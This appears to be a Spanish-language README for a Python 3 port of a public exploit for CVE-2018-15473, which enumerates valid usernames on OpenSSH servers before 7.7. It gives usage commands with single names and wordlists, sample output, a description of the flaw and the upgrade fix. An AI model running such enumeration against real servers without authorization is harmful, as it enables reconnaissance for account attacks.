CVE-2018-15473

CVE-2018-15473

SSH-Username-Enumeration-Exploit (OpenSSH 2.3 < 7.7)

Versión editada del exploit original: https://www.exploit-db.com/exploits/45233

• Convertido a Python3
• Agregada opción de lista de palabras de usuarios

Cómo ejecutar

#Ensure that you install the requirements:
foo@bar:~$ pip3 install -r requirements.txt

#For single username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -u root
[+] root is a valid username

#For multiple username:
foo@bar:~$ ./CVE-2018-15473.py 192.168.1.20 -w username_wordlist.txt
[+] root is a valid username
[-] mysql is an invalid username
[-] mike is an invalid username
[-] foo is an invalid username
[-] bar is an invalid username
Valid Users: 
root

#For more option:
foo@bar:~$ ./CVE-2018-15473.py -h

Acerca de la Vulnerabilidad:

El sistema responde de manera diferente a intentos de autenticación válidos e inválidos. Un usuario remoto puede enviar solicitudes especialmente diseñadas para determinar nombres de usuario válidos en el sistema objetivo. Por lo tanto, un usuario remoto puede determinar nombres de usuario válidos en el sistema objetivo.

Solución:

El servidor OpenSSH debe actualizarse a la versión 7.7 o superior.